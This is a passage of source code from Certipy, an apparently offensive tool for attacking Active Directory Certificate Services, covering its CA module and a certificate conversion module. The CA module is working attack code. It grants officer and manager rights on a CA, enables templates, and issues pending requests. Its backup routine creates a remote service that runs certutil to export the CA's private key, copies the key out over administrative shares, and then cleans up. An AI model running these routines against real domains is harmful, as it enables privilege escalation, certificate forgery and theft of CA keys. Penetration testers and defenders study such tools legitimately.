target.remote_name = self.target.dc_host
target.target_ip = target.dc_ip
self._connection = LDAPConnection(target)
self._connection.connect()
return self._connection
@property
def cert_admin(self) -> ICertAdminD:
"""
Get or create an ICertAdminD interface.
Returns:
ICertAdminD interface
"""
if self._cert_admin is not None:
return self._cert_admin
dcom = get_dcom_connection(self.target)
interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD)
interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore
self._cert_admin = ICertAdminD(interface)
return self._cert_admin
@property
def cert_admin2(self) -> ICertAdminD2:
"""
Get or create an ICertAdminD2 interface.
Returns:
ICertAdminD2 interface
"""
if self._cert_admin2 is not None:
return self._cert_admin2
dcom = get_dcom_connection(self.target)
interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD2)
interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore
self._cert_admin2 = ICertAdminD2(interface)
return self._cert_admin2
@property
def cert_request2(self) -> ICertRequestD2:
"""
Get or create an ICertRequestD2 interface.
Returns:
ICertRequestD2 interface
"""
if self._cert_request2 is not None:
return self._cert_request2
dcom = get_dcom_connection(self.target)
interface = dcom.CoCreateInstanceEx(CLSID_CCertRequestD, IID_ICertRequestD2)
interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore
self._cert_request2 = ICertRequestD2(interface)
return self._cert_request2
@property
def rrp_dce(self):
"""
Get or create a connection to the remote registry service.
Returns:
RRP DCE/RPC connection or None if connection fails
"""
if self._rrp_dce is not None:
return self._rrp_dce
dce = get_dce_rpc_from_string_binding(
"ncacn_np:445[\\pipe\\winreg]", self.target, timeout=self.target.timeout
)
# Try to connect up to 3 times (registry service might need to start)
for _ in range(3):
try:
dce.connect()
_ = dce.bind(rrp.MSRPC_UUID_RRP)
logging.debug(
f"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})"
)
break
except Exception as e:
if "STATUS_PIPE_NOT_AVAILABLE" in str(e):
logging.warning(
"Failed to connect to remote registry. Service should be starting now. Trying again..."
)
time.sleep(1)
else:
logging.error(f"Failed to connect to remote registry: {e}")
handle_error()
return None
else:
logging.warning("Failed to connect to remote registry after 3 attempts")
return None
self._rrp_dce = dce
return self._rrp_dce
# =========================================================================
# CA Certificate and Configuration Methods
# =========================================================================
def get_exchange_certificate(self) -> x509.Certificate:
"""
Get the CA exchange certificate.
Returns:
CA exchange certificate
Raises:
Exception: If the certificate retrieval fails
"""
request = ICertRequestD2GetCAProperty()
request["pwszAuthority"] = checkNullString(self.ca)
request["PropId"] = 0x0000000F # Exchange certificate property ID
request["PropIndex"] = 0
request["PropType"] = 0x00000003 # Binary data type
resp = self.cert_request2.request(request)
# Convert the certificate blob to an x509 certificate
exchange_cert = der_to_cert(b"".join(resp["pctbPropertyValue"]["pb"]))
return exchange_cert
def get_config_rrp(self) -> "CAConfiguration":
"""
Get CA configuration via the Remote Registry Protocol.
Used as a fallback when CSRA fails.
This method navigates the Windows registry structure to extract CA configuration
settings including policy modules, edit flags, request disposition,
disabled extensions, interface flags, and security descriptors.
Returns:
CAConfiguration object containing CA configuration settings
Raises:
ValueError: If critical registry values have unexpected types
"""
# Open local machine registry hive
hklm = rrp.hOpenLocalMachine(self.rrp_dce)
h_root_key = hklm["phKey"]
# First retrieve active policy module information
policy_key_path = (
f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}\\"
"PolicyModules"
)
policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path)
# Get active policy module name
_, active_policy = rrp.hBaseRegQueryValue(
self.rrp_dce, policy_key["phkResult"], "Active"
)
if not isinstance(active_policy, str):
logging.warning(
f"Expected a string for active policy, got {type(active_policy)!r}"
)
logging.warning("Falling back to default policy")
active_policy = "CertificateAuthority_MicrosoftDefault.Policy"
active_policy = active_policy.strip("\x00")
# Open policy module configuration
policy_key_path = (
f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}\\"
f"PolicyModules\\{active_policy}"
)
policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path)
# Retrieve edit flags (controls certificate request behavior)
_, edit_flags = rrp.hBaseRegQueryValue(
self.rrp_dce, policy_key["phkResult"], "EditFlags"
)
if not isinstance(edit_flags, int):
logging.warning(f"Expected an int for edit flags, got {type(edit_flags)!r}")
logging.warning("Falling back to default edit flags")
edit_flags = 0x00000000
# Retrieve request disposition (auto-enrollment settings)
_, request_disposition = rrp.hBaseRegQueryValue(
self.rrp_dce, policy_key["phkResult"], "RequestDisposition"
)
if not isinstance(request_disposition, int):
logging.warning(
f"Expected an int for request disposition, got {type(request_disposition)!r}"
)
logging.warning("Falling back to default request disposition")
request_disposition = 0x00000000
# Retrieve disabled extensions
_, disable_extension_list = rrp.hBaseRegQueryValue(
self.rrp_dce, policy_key["phkResult"], "DisableExtensionList"
)
if not isinstance(disable_extension_list, str):
logging.warning(
f"Expected a string for disable extension list, got {type(disable_extension_list)!r}"
)
logging.warning("Falling back to default disable extension list")
disable_extension_list = ""
# Process null-terminated string list into Python list
disable_extension_list = [
item for item in disable_extension_list.strip("\x00").split("\x00") if item
]
# Now get general CA configuration settings
configuration_key_path = (
f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}"
)
configuration_key = rrp.hBaseRegOpenKey(
self.rrp_dce, h_root_key, configuration_key_path
)
# Retrieve interface flags (controls CA interface behavior)
_, interface_flags = rrp.hBaseRegQueryValue(
self.rrp_dce, configuration_key["phkResult"], "InterfaceFlags"
)
if not isinstance(interface_flags, int):
logging.warning(
f"Expected an int for interface flags, got {type(interface_flags)!r}"
)
logging.warning("Falling back to default interface flags")
interface_flags = 0x00000000
# Retrieve security descriptor (controls access permissions)
_, security_descriptor = rrp.hBaseRegQueryValue(
self.rrp_dce, configuration_key["phkResult"], "Security"
)
if not isinstance(security_descriptor, bytes):
raise ValueError(
f"Expected a bytes object for security descriptor, got {type(security_descriptor)!r}"
)
# Parse the binary security descriptor
security_descriptor = CASecurity(security_descriptor)
# Return a complete configuration object
return CAConfiguration(
active_policy,
edit_flags,
disable_extension_list,
request_disposition,
interface_flags,
security_descriptor,
)
def get_config(self) -> Optional["CAConfiguration"]:
"""
Get CA configuration using the Remote Registry Protocol (RRP).
This method attempts to retrieve the CA configuration using RRP
and handles any exceptions that might occur during the process.
Returns:
CAConfiguration object containing configuration settings or None if retrieval fails
"""
try:
logging.info(f"Retrieving CA configuration for {self.ca!r} via RRP")
result = self.get_config_rrp()
logging.info(f"Successfully retrieved CA configuration for {self.ca!r}")
return result
except Exception as e:
logging.warning(
f"Failed to get CA configuration for {self.ca!r} via RRP: {e}"
)
handle_error(True)
logging.warning(f"Could not retrieve configuration for {self.ca!r}")
return None
# =========================================================================
# Certificate Request Management Methods
# =========================================================================
def issue(self) -> bool:
"""
Issue (approve) a pending certificate request.
Returns:
True if successful, False otherwise
"""
if self.request_id is None:
logging.error(
"A request ID (-request-id) is required in order to issue a pending or failed certificate request"
)
return False
request = ICertAdminDResubmitRequest()
request["pwszAuthority"] = checkNullString(self.ca)
request["pdwRequestId"] = int(self.request_id)
request["pwszExtensionName"] = checkNullString("\x00") # No extension
try:
resp = self.cert_admin.request(request)
except DCERPCSessionError as e:
if "E_ACCESSDENIED" in str(e):
logging.error(
"Access denied: Insufficient permissions to issue certificate"
)
return False
logging.error(
f"Failed to issue certificate request ID {self.request_id}: {e}"
)
handle_error()
return False
error_code = resp["pdwDisposition"]
if error_code == 3: # Success
logging.info(
f"Successfully issued certificate request ID {self.request_id}"
)
return True
else:
error_msg = translate_error_code(error_code)
logging.error(f"Failed to issue certificate: {error_msg}")
return False
def deny(self) -> bool:
"""
Deny a pending certificate request.
Returns:
True if successful, False otherwise
"""
if self.request_id is None:
logging.error(
"A request ID (-request-id) is required in order to deny a pending certificate request"
)
return False
request = ICertAdminDDenyRequest()
request["pwszAuthority"] = checkNullString(self.ca)
request["pdwRequestId"] = int(self.request_id)
try:
resp = self.cert_admin.request(request)
except DCERPCSessionError as e:
if "E_ACCESSDENIED" in str(e):
logging.error(
"Access denied: Insufficient permissions to deny certificate request"
)
return False
logging.error(
f"Failed to deny certificate request ID {self.request_id}: {e}"
)
handle_error()
return False
error_code = resp["ErrorCode"]
if error_code == 0: # Success
logging.info(
f"Successfully denied certificate request ID {self.request_id}"
)
return True
else:
error_msg = translate_error_code(error_code)
logging.error(f"Failed to deny certificate request: {error_msg}")
return False
# =========================================================================
# Template Management Methods
# =========================================================================
def get_templates(self) -> Optional[List[str]]:
"""
Get list of templates enabled on the CA.
Returns:
List of template names and their OIDs
Returns False if the operation fails
"""
if self.ca is None:
logging.error("A CA (-ca) is required")
return None
request = ICertAdminD2GetCAProperty()
request["pwszAuthority"] = checkNullString(self.ca)
request["PropId"] = CR_PROP_TEMPLATES
request["PropIndex"] = 0
request["PropType"] = 4 # String data type
try:
resp = self.cert_admin2.request(request)
except DCERPCSessionError as e:
if "E_ACCESSDENIED" in str(e):
logging.error(
"Access denied: Insufficient permissions to get templates"
)
return None
logging.error(f"Failed to get certificate templates: {e}")
handle_error()
return None
# Parse templates (format is name\noid\nname\noid...)
certificate_templates = (
b"".join(resp["pctbPropertyValue"]["pb"]).decode("utf-16le").split("\n")
)
return certificate_templates
def list_templates(self) -> None:
"""
List templates enabled on the CA.
Prints the list of templates to stdout.
"""
certificate_templates = self.get_templates()
if certificate_templates is None:
return
if len(certificate_templates) == 1:
logging.info(f"There are no enabled certificate templates on {self.ca!r}")
return
logging.info(f"Enabled certificate templates on {self.ca!r}:")
for i in range(0, len(certificate_templates) - 1, 2):
print(f" {certificate_templates[i]}")
def enable(self, disable: bool = False) -> bool:
"""
Enable or disable a template on the CA.
Args:
disable: If True, disable the template; otherwise enable it
Returns:
True if successful, False otherwise
"""
if self.ca is None:
logging.error("A CA (-ca) is required")
return False
if self.template is None:
logging.error("A template (-template) is required")
return False
# Get current templates
certificate_templates = self.get_templates()
if certificate_templates is None:
return False
# Get template to enable/disable
template_obj = Template(self.target, connection=self.connection)
template = template_obj.get_configuration(self.template)
if template is None:
return False
action = "disable" if disable else "enable"
# Update template list based on action
if disable:
if template.get("cn") not in certificate_templates:
logging.error(
f"Certificate template {template.get('cn')!r} is not enabled on {self.ca!r}"
)
return False
# Remove template and its OID from the list
template_index = certificate_templates.index(template.get("cn"))
certificate_templates = (
certificate_templates[:template_index]
+ certificate_templates[template_index + 2 :]
)
else:
# Add template and its OID to the start of the list
certificate_templates = [
template.get("cn"),
template.get("msPKI-Cert-Template-OID"),
] + certificate_templates
# Convert to UTF-16LE bytes for RPC call
certificate_templates_bytes = [
bytes([c]) for c in "\n".join(certificate_templates).encode("utf-16le")
]
# Update CA property
request = ICertAdminD2SetCAProperty()
request["pwszAuthority"] = checkNullString(self.ca)
request["PropId"] = CR_PROP_TEMPLATES
request["PropIndex"] = 0
request["PropType"] = 4 # String data type
request["pctbPropertyValue"]["cb"] = len(certificate_templates_bytes)
request["pctbPropertyValue"]["pb"] = certificate_templates_bytes
try:
resp = self.cert_admin2.request(request)
except DCERPCSessionError as e:
if "E_ACCESSDENIED" in str(e):
logging.error(
f"Access denied: Insufficient permissions to {action} template"
)
return False
logging.error(
f"Failed to {action} certificate template {template.get('cn')!r}: {e}"
)
handle_error()
return False
error_code = resp["ErrorCode"]
if error_code == 0:
logging.info(
f"Successfully {action}d {template.get('cn')!r} on {self.ca!r}"
)
return True
else:
error_msg = translate_error_code(error_code)
logging.error(f"Failed to {action} certificate template: {error_msg}")
return False
def disable(self) -> bool:
"""
Disable a template on the CA.
Convenience method that calls enable() with disable=True.
Returns:
True if successful, False otherwise
"""
return self.enable(disable=True)
# =========================================================================
# CA Security Management Methods
# =========================================================================
def _modify_ca_security(
self, user: str, right: int, right_type: str, remove: bool = False
) -> Union[bool, None]:
"""
Add or remove rights for a user on the CA.
Args:
user: Username
right: Right to add/remove (from CERTIFICATION_AUTHORITY_RIGHTS)
right_type: Description of the right (for logging)
remove: If True, remove the right; otherwise add it
Returns:
True if successful, False if failed, None if user not found
"""
connection = self.connection
# Get user object
user_obj = connection.get_user(user)
if user_obj is None:
return None
# Get user SID
sid = ldaptypes.LDAP_SID(data=user_obj.get_raw("objectSid")[0])
# Get current CA security descriptor
request = ICertAdminD2GetCASecurity()
request["pwszAuthority"] = checkNullString(self.ca)
try:
resp = self.cert_admin2.request(request)
except DCERPCSessionError as e:
if "E_ACCESSDENIED" in str(e):
logging.error(
"Access denied: Insufficient permissions to get CA security"
)
return False
logging.error(f"Failed to get CA security descriptor: {e}")
handle_error()
return False
# Parse security descriptor
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd.fromString(b"".join(resp["pctbSD"]["pb"]))
# Find ACE for the user or create a new one
for i in range(len(sd["Dacl"]["Data"])):
ace = sd["Dacl"]["Data"][i]
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
if ace["Ace"]["Sid"].getData() != sid.getData():
continue
# Found existing ACE for this user
action = "remove" if remove else "add"
if remove:
# Check if user has the right
if ace["Ace"]["Mask"]["Mask"] & right == 0:
logging.info(
f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} "
f"rights on {self.ca!r}"
)
return True
# Remove the right
ace["Ace"]["Mask"]["Mask"] ^= right
# Remove the ACE if no rights remaining
if ace["Ace"]["Mask"]["Mask"] == 0:
sd["Dacl"]["Data"].pop(i)
else:
# Check if user already has the right
if ace["Ace"]["Mask"]["Mask"] & right != 0:
logging.info(
f"User {user_obj.get('sAMAccountName')!r} already has {right_type} "
f"rights on {self.ca!r}"
)
return True
# Add the right
ace["Ace"]["Mask"]["Mask"] |= right
break
else:
# No existing ACE found
if remove:
# Nothing to remove
logging.info(
f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} "
f"rights on {self.ca!r}"
)
return True
# Create new ACE
ace = ldaptypes.ACE()
ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace["AceFlags"] = 0
ace["Ace"] = ldaptypes.ACCESS_ALLOWED_ACE()
ace["Ace"]["Mask"] = ldaptypes.ACCESS_MASK()
ace["Ace"]["Mask"]["Mask"] = right
ace["Ace"]["Sid"] = sid
sd["Dacl"]["Data"].append(ace)
# Convert SD back to bytes
sd_bytes = [bytes([c]) for c in sd.getData()]
# Set updated security descriptor
request = ICertAdminD2SetCASecurity()
request["pwszAuthority"] = checkNullString(self.ca)
request["pctbSD"]["cb"] = len(sd_bytes)
request["pctbSD"]["pb"] = sd_bytes
try:
resp = self.cert_admin2.request(request)
except DCERPCSessionError as e:
action = "remove" if remove else "add"
if "E_ACCESSDENIED" in str(e):
logging.error(
f"Access denied: Insufficient permissions to {action} {right_type}"
)
return False
logging.error(f"Failed to {action} {right_type}: {e}")
handle_error()
return False
error_code = resp["ErrorCode"]
if error_code == 0:
action = "removed" if remove else "added"
logging.info(
f"Successfully {action} {right_type} {user_obj.get('sAMAccountName')!r} "
f"on {self.ca!r}"
)
return True
else:
error_msg = translate_error_code(error_code)
action = "remove" if remove else "add"
logging.error(f"Failed to {action} {right_type}: {error_msg}")
return False
def add(self, user: str, right: int, right_type: str) -> Union[bool, None]:
"""
Add a right for a user on the CA.
Args:
user: Username
right: Right to add (from CERTIFICATION_AUTHORITY_RIGHTS)
right_type: Description of the right (for logging)
Returns:
True if successful, False if failed, None if user not found
"""
return self._modify_ca_security(user, right, right_type, remove=False)
def remove(self, user: str, right: int, right_type: str) -> Union[bool, None]:
"""
Remove a right from a user on the CA.
Args:
user: Username
right: Right to remove (from CERTIFICATION_AUTHORITY_RIGHTS)
right_type: Description of the right (for logging)
Returns:
True if successful, False if failed, None if user not found
"""
return self._modify_ca_security(user, right, right_type, remove=True)
def add_officer(self, officer: str) -> Union[bool, None]:
"""
Add certificate officer rights for a user.
Officers can approve/deny certificate requests.
Args:
officer: Username to add as an officer
Returns:
True if successful, False if failed, None if user not found
"""
return self.add(
officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer"
)
def remove_officer(self, officer: str) -> Union[bool, None]:
"""
Remove certificate officer rights from a user.
Args:
officer: Username to remove as an officer
Returns:
True if successful, False if failed, None if user not found
"""
return self.remove(
officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer"
)
def add_manager(self, manager: str) -> Union[bool, None]:
"""
Add certificate manager rights for a user.
Managers can manage CA configuration.
Args:
manager: Username to add as a manager
Returns:
True if successful, False if failed, None if user not found
"""
return self.add(manager, CertificateAuthorityRights.MANAGE_CA.value, "manager")
def remove_manager(self, manager: str) -> Union[bool, None]:
"""
Remove certificate manager rights from a user.
Args:
manager: Username to remove as a manager
Returns:
True if successful, False if failed, None if user not found
"""
return self.remove(
manager, CertificateAuthorityRights.MANAGE_CA.value, "manager"
)
# =========================================================================
# CA Backup Methods
# =========================================================================
def get_enrollment_services(self) -> List[LDAPEntry]:
"""
Get all enrollment services in the domain.
Returns:
List of enrollment service objects
"""
enrollment_services = self.connection.search(
"(&(objectClass=pKIEnrollmentService))",
search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}",
)
return enrollment_services
def get_enrollment_service(self, ca: str) -> Optional[LDAPEntry]:
"""
Get a specific enrollment service.
Args:
ca: CA name
Returns:
Enrollment service object or None if not found
"""
enrollment_services = self.connection.search(
f"(&(cn={ca})(objectClass=pKIEnrollmentService))",
search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}",
)
if len(enrollment_services) == 0:
logging.warning(
f"Could not find any enrollment service identified by {ca!r}"
)
return None
return enrollment_services[0]
def get_backup(self) -> Optional[bytes]:
"""
Retrieve CA backup file from the target.
Returns:
PFX data as bytes or None if retrieval fails
"""
# Connect to SMB share
smbclient = SMBConnection(
self.target.remote_name,
self.target.target_ip or "",
timeout=self.target.timeout,
)
# Authenticate with appropriate method
if self.target.do_kerberos:
kdc_rep, cipher, session_key, username, domain = get_tgs(
self.target, self.target.remote_name, "cifs"
)
tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key}
_ = smbclient.kerberosLogin(
username,
self.target.password,
domain,
self.target.lmhash,
self.target.nthash,
kdcHost=self.target.dc_ip,
TGS=tgs,
)
else:
_ = smbclient.login(
self.target.username,
self.target.password,
self.target.domain,
self.target.lmhash,
self.target.nthash,
)
# Try to connect to C$ or ADMIN$ share
tid = None
share = None
file_path = None
try:
share = "C$"
tid = smbclient.connectTree(share)
file_path = "\\Windows\\Tasks\\certipy.pfx"
except Exception as e:
if "STATUS_BAD_NETWORK_NAME" in str(e):
tid = None
else:
raise
# Fall back to ADMIN$ if C$ fails
if tid is None:
try:
share = "ADMIN$"
tid = smbclient.connectTree(share)
file_path = "\\Tasks\\certipy.pfx"
except Exception as e:
if "STATUS_BAD_NETWORK_NAME" in str(e):
raise Exception(
f"Could not connect to 'C$' or 'ADMIN$' on {self.target.target_ip!r}"
)
else:
raise
pfx = None
# Callback to store PFX data
def _read_pfx(data: bytes):
nonlocal pfx
logging.info("Got certificate and private key")
pfx = data
# Download PFX file
try:
_ = smbclient.getFile(share, file_path, _read_pfx)
except Exception as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logging.error(
"Could not find the certificate and private key. This most likely means that the backup failed"
)
return None
logging.error(f"Failed to retrieve certificate and private key: {e}")
handle_error()
return None
# Clean up by deleting the temporary file
try:
_ = smbclient.deleteFile(share, file_path)
except Exception as e:
logging.info(
f"Failed to delete {file_path} - it may have already been deleted: {e}"
)
return pfx
def backup(self) -> bool:
"""
Create a backup of the CA key and certificate.
Returns:
True if successful, False otherwise
"""
# Connect to service control manager
dce = get_dce_rpc(
scmr.MSRPC_UUID_SCMR, # type: ignore
"\\pipe\\svcctl",
self.target,
timeout=self.timeout,
dynamic=self.dynamic,
auth_level_np=rpcrt.RPC_C_AUTHN_LEVEL_NONE,
)
if dce is None:
logging.error(
"Failed to connect to Service Control Manager Remote Protocol"
)
return False
# Open service manager
res = scmr.hROpenSCManagerW(dce)
handle = res["lpScHandle"]
# Prepare backup command
config_param = f" -config {self.config}" if self.config else ""
backup_cmd = (
"cmd.exe /c certutil"
+ config_param
+ " -backupkey -f -p certipy C:\\Windows\\Tasks\\Certipy && "
+ "move /y C:\\Windows\\Tasks\\Certipy\\* C:\\Windows\\Tasks\\certipy.pfx"
)
logging.info("Creating new service for backup operation")
try:
# Create service for backup operation
resp = scmr.hRCreateServiceW(
dce,
handle,
"Certipy",
"Certipy",
lpBinaryPathName=backup_cmd, # type: ignore
dwStartType=scmr.SERVICE_DEMAND_START,
)
service_handle = resp["lpServiceHandle"]
except Exception as e:
# Handle case where service already exists
if "ERROR_SERVICE_EXISTS" in str(e):
resp = scmr.hROpenServiceW(dce, handle, "Certipy")
service_handle = resp["lpServiceHandle"]
# Update existing service with our command
resp = scmr.hRChangeServiceConfigW(
dce,
service_handle,
lpBinaryPathName=backup_cmd, # type: ignore
)
else:
logging.error(f"Failed to create service: {e}")
handle_error()
return False
logging.info("Creating backup")
try:
# Start the service to execute our command
scmr.hRStartServiceW(dce, service_handle)
except Exception as e:
# Ignore service-specific errors (usually means it's already running)
logging.debug(f"Service start returned: {e}")
logging.info("Retrieving backup")
try:
# Get the backup file
pfx = self.get_backup()
if pfx:
# Save raw PFX with password "certipy"
logging.info("Backing up original PFX/P12 to 'pfx.p12'")
path = try_to_save_file(
pfx,
"pfx.p12",
)
logging.info(f"Backed up original PFX/P12 to {path!r}")
# Parse and convert to standard PFX format
key, cert = load_pfx(pfx, b"certipy")
if cert is None:
logging.error("Failed to load certificate from PFX")
return False
if key is None:
logging.error("Failed to load private key from PFX")
return False
common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[
0
]
# Create new PFX with default password
pfx = create_pfx(key, cert)
pfx_out = f"{common_name.value}.pfx"
logging.info(f"Saving certificate and private key to {pfx_out!r}")
path = try_to_save_file(
pfx,
pfx_out,
)
logging.info(f"Wrote certificate and private key to {path!r}")
except Exception as e:
logging.error(f"Backup failed: {e}")
handle_error()
return False
logging.info("Cleaning up")
# Clean up: delete temporary files on the server
cleanup_cmd = "cmd.exe /c del /f /q C:\\Windows\\Tasks\\Certipy\\* && rmdir C:\\Windows\\Tasks\\Certipy"
# Update and run the service again for cleanup
resp = scmr.hRChangeServiceConfigW(
dce,
service_handle,
lpBinaryPathName=cleanup_cmd, # type: ignore
)
try:
scmr.hRStartServiceW(dce, service_handle)
except Exception:
pass
# Remove the temporary service
scmr.hRDeleteService(dce, service_handle)
scmr.hRCloseServiceHandle(dce, service_handle)
return True
class CAConfiguration:
"""
Class representing a Certificate Authority configuration.
This class encapsulates all the configuration parameters for a Certificate Authority,
including security settings, policy configuration, and operational flags.
Attributes:
active_policy: Name of the active policy module
edit_flags: CA policy edit flags controlling certificate request handling
disable_extension_list: List of certificate extensions that are disabled
request_disposition: Default disposition for certificate requests
interface_flags: Flags controlling CA interface behavior
security: Security descriptor for the CA
"""
def __init__(
self,
active_policy: str,
edit_flags: int,
disable_extension_list: List[str],
request_disposition: int,
interface_flags: int,
security: CASecurity,
):
"""
Initialize a CA configuration object.
Args:
active_policy: Name of the active policy module (typically CertificateAuthority_MicrosoftDefault.Policy)
edit_flags: Policy edit flags that control certificate issuance behavior
disable_extension_list: List of disabled certificate extensions
request_disposition: Default disposition for new certificate requests
interface_flags: Interface control flags
security: CASecurity object containing the CA's security descriptor
"""
self.active_policy = active_policy
self.edit_flags = edit_flags
self.disable_extension_list = disable_extension_list
self.request_disposition = request_disposition
self.interface_flags = interface_flags
self.security = security
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the 'ca' command.
Args:
options: Command-line arguments
"""
target = Target.from_options(options)
options.__delattr__("target")
ca = CA(target, **vars(options))
# Validate CA name if required
if not options.backup:
if not options.ca:
logging.error("A CA (-ca) is required")
return
# Dispatch to appropriate subcommand handler
if options.backup is True:
_ = ca.backup()
elif options.add_officer is not None:
_ = ca.add_officer(options.add_officer)
elif options.remove_officer is not None:
_ = ca.remove_officer(options.remove_officer)
elif options.add_manager is not None:
_ = ca.add_manager(options.add_manager)
elif options.remove_manager is not None:
_ = ca.remove_manager(options.remove_manager)
elif options.list_templates:
_ = ca.list_templates()
elif options.issue_request is not None:
ca.request_id = int(options.issue_request)
_ = ca.issue()
elif options.deny_request is not None:
ca.request_id = int(options.deny_request)
_ = ca.deny()
elif options.enable_template is not None:
ca.template = options.enable_template
_ = ca.enable()
elif options.disable_template is not None:
ca.template = options.disable_template
_ = ca.disable()
else:
logging.error("No action specified")
Certipy-5.1.0/certipy/commands/cert.py 0000775 0000000 0000000 00000016510 15216574665 0017752 0 ustar 00root root 0000000 0000000 """
Certificate Processing Module for Certipy.
This module provides utility functions for working with certificates:
- Converting between different certificate formats (PEM, DER, PFX)
- Loading certificates and private keys
- Exporting certificates in various formats
It serves as a command-line utility for certificate manipulation tasks.
"""
import argparse
import sys
from typing import Optional, Union
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from certipy.lib.certificate import (
cert_to_pem,
create_pfx,
der_to_cert,
der_to_key,
key_to_pem,
load_pfx,
pem_to_cert,
pem_to_key,
)
from certipy.lib.errors import handle_error
from certipy.lib.logger import logging
def load_certificate_file(file_path: str) -> bytes:
"""
Load certificate data from a file.
Args:
file_path: Path to certificate file
Returns:
Certificate data as bytes
"""
logging.debug(f"Loading certificate from {file_path!r}")
try:
with open(file_path, "rb") as f:
cert_data = f.read()
return cert_data
except FileNotFoundError:
logging.error(f"Certificate file not found: {file_path!r}")
raise
except IOError as e:
logging.error(f"Error reading certificate file: {e}")
raise
except Exception as e:
logging.error(f"Unexpected error reading certificate file: {e}")
raise
def load_key_file(file_path: str) -> bytes:
"""
Load private key data from a file.
Args:
file_path: Path to private key file
Returns:
Private key data as bytes
"""
logging.debug(f"Loading private key from {file_path!r}")
try:
with open(file_path, "rb") as f:
key_data = f.read()
return key_data
except FileNotFoundError:
logging.error(f"Private key file not found: {file_path!r}")
raise
except IOError as e:
logging.error(f"Error reading private key file: {e}")
raise
except Exception as e:
logging.error(f"Unexpected error reading private key file: {e}")
raise
def parse_certificate(cert_data: bytes) -> x509.Certificate:
"""
Parse certificate data from PEM or DER format.
Args:
cert_data: Raw certificate data
Returns:
Parsed certificate object
"""
try:
# Try PEM format first
return pem_to_cert(cert_data)
except Exception:
# Fall back to DER format
try:
return der_to_cert(cert_data)
except Exception as e:
logging.error(f"Failed to parse certificate: {e}")
raise ValueError("Certificate is not in a valid PEM or DER format")
def parse_key(key_data: bytes) -> PrivateKeyTypes:
"""
Parse private key data from PEM or DER format.
Args:
key_data: Raw private key data
Returns:
Parsed private key object
"""
try:
# Try PEM format first
return pem_to_key(key_data)
except Exception:
# Fall back to DER format
try:
return der_to_key(key_data)
except Exception as e:
logging.error(f"Failed to parse private key: {e}")
raise ValueError("Private key is not in a valid PEM or DER format")
def write_output(data: Union[bytes, str], output_path: Optional[str] = None) -> None:
"""
Write data to a file or stdout.
Args:
data: Data to write
output_path: Path to output file or None for stdout
"""
if output_path:
# Determine if we need binary mode
mode = "wb" if isinstance(data, bytes) else "w"
try:
with open(output_path, mode) as f:
_ = f.write(data)
logging.info(f"Data written to {output_path!r}")
except IOError as e:
logging.error(f"Error writing output file: {e}")
raise
except Exception as e:
logging.error(f"Unexpected error writing output file: {e}")
raise
else:
# Write to stdout
if isinstance(data, bytes):
_ = sys.stdout.buffer.write(data)
else:
print(data)
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the 'cert' command.
Processes certificates and private keys according to specified options.
Args:
options: Command-line arguments
"""
cert, key = None, None
# Validate inputs
if not any([options.pfx, options.cert, options.key]):
logging.error("-pfx, -cert, or -key is required")
return
# Process PFX input if provided
if options.pfx:
try:
password = options.password.encode() if options.password else None
log_msg = (
f"Loading PFX {options.pfx!r} with password"
if password
else f"Loading PFX {options.pfx!r} without password"
)
logging.debug(log_msg)
with open(options.pfx, "rb") as f:
pfx = f.read()
key, cert = load_pfx(pfx, password)
except Exception as e:
logging.error(f"Failed to load PFX file: {e}")
handle_error()
return
# Process certificate input if provided
if options.cert:
try:
cert_data = load_certificate_file(options.cert)
cert = parse_certificate(cert_data)
except Exception as e:
logging.error(f"Failed to process certificate: {e}")
handle_error()
return
# Process private key input if provided
if options.key:
try:
key_data = load_key_file(options.key)
key = parse_key(key_data)
except Exception as e:
logging.error(f"Failed to process private key: {e}")
handle_error()
return
# Export in PFX format
if options.export:
if not (key and cert):
logging.error(
"Both certificate and private key are required for PFX export"
)
return
try:
pfx = create_pfx(key, cert, options.export_password)
write_output(pfx, options.out)
except Exception as e:
logging.error(f"Failed to create PFX: {e}")
handle_error()
return
# Export in PEM format
else:
output_parts = []
output_types = []
# Add certificate to output if available and not suppressed
if cert and not options.nocert:
output_parts.append(cert_to_pem(cert).decode())
output_types.append("certificate")
# Add private key to output if available and not suppressed
if key and not options.nokey:
output_parts.append(key_to_pem(key).decode())
output_types.append("private key")
# Combine all parts
output = "".join(output_parts)
# Check if output is empty
if not output:
logging.error("Output is empty")
return
# Format log message for what's being written
log_str = " and ".join(output_types)
try:
write_output(output, options.out)
if options.out:
logging.info(f"Writing {log_str} to {options.out!r}")
except Exception as e:
logging.error(f"Failed to write output: {e}")
handle_error()
Certipy-5.1.0/certipy/commands/find.py 0000664 0000000 0000000 00000263032 15216574665 0017735 0 ustar 00root root 0000000 0000000 """
Certificate Finder Module for Certipy.
